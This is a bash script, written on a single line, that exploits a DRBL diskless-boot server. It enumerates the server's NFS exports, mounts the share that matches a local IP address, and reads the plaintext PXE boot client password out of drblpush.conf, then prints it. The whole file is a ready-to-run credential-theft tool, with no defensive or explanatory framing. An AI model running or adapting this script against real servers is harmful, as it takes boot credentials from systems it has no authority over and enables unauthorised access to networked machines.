#!/bin/bash # # Script extracts plaintext PXE boot password from file drblpush.conf # located on NFS share ip_of_drbl_server:/tftpboot/nodes/your_local_IP/etc/drbl/ # function checkbin { type -P showmount &>/dev/null [ "$?" != 0 ] && echo "Command 'showmount' not found, exiting" && exit ip="$1" } function grepip { if [ -z "$ip" ]; then i=1 while [ "$i" != 0 ]; do echo -n "Enter IP address of DRBL server: " read ip echo "$ip" | grep "^[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$" &>/dev/null [ "$?" == 0 ] && i=0 done fi showmount -a "$ip" | grep -o "[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}" | grep -v "$ip" | uniq > ip_server.txt ifconfig | grep -w inet | grep -v 127.0.0.1 | awk '{print $2}' | grep -o "[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}" > ip_client.txt } function findpass { while read -r ipadd; do grep "$ipadd" ip_server.txt &>/dev/null if [ "$?" == 0 ]; then echo "Found NFS share '$ip:/tftpboot/nodes/$ipadd' matching your source IP: $ipadd" ipshare="$ipadd" fi done < ip_client.txt if [ -z "$ipshare" ]; then echo "Warning! None of your source IP addresses have access to remote NFS shares" echo "Please, configure one of IP addresses below on interface which is connected to network with DRBL server and run "$0" again" cat ip_server.txt rm ip_client.txt ip_server.txt exit 1 fi [ ! -d mount_nfs ] && mkdir mount_nfs echo "Enter password for user '$(whoami)' to mount remote NFS share to directory 'mount_ntfs'" sudo mount -vvv -t nfs "$ip":/tftpboot/nodes/"$ipshare"/etc/drbl/ mount_nfs &>/dev/null [ "$?" != 0 ] && echo "Mounting unsuccesfull, exiting" && exit 1 rm ip_client.txt ip_server.txt password="$(sudo grep 'client_pxelinux_passwd' mount_nfs/drblpush.conf | cut -d '=' -f2)" if [ "$?" == 0 ]; then echo "+++ Found PXE Boot client password: $password +++" else echo "PXE Boot client password not found" fi sudo umount mount_nfs/ &>/dev/null if [ "$?" == 0 ]; then rmdir mount_nfs/ else echo "Can't umount directory 'mount_nfs', try it manually" fi } checkbin $@ grepip findpass